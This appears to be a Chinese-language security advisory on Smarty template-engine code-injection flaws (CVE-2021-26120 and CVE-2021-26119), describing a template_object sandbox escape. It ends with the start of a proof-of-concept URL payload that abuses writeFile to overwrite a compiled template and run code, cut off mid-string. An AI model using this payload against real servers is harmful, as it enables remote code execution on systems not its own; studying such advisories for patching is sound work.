0x00漏洞概述CVE IDCVE-2021-26120时 间2021-02-26
类 型代码注入等 级高危
远程利用是影响范围PHP Smarty < 3.1.39
0x01漏洞详情
Smarty是通过PHP开发的模板引擎,它分开了PHP逻辑代码与外观(HTML页)以便于管理。
近日,PHP Smarty被披露存在2个PHP代码注入漏洞(CVE-2021-26120和CVE-2021-26119),攻击者可以通过利用这些漏洞来注入任意代码。
template_object沙箱逃逸PHP代码注入漏洞(CVE-2021-26119)
在Smarty中,Smarty从$smarty.template_object变量访问实例,由于攻击者可以访问smarty或parent属性,从而可以访问Smarty实例。成功利用此漏洞的攻击者可以通过构造恶意数据,最终造成远程代码执行。
POC代码如下(需两次运行,第一次写入缓存文件然后将其覆盖,第二次触发缓存并包含文件以执行远程代码。):
http://localhost:8000/page.php?poc=string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"&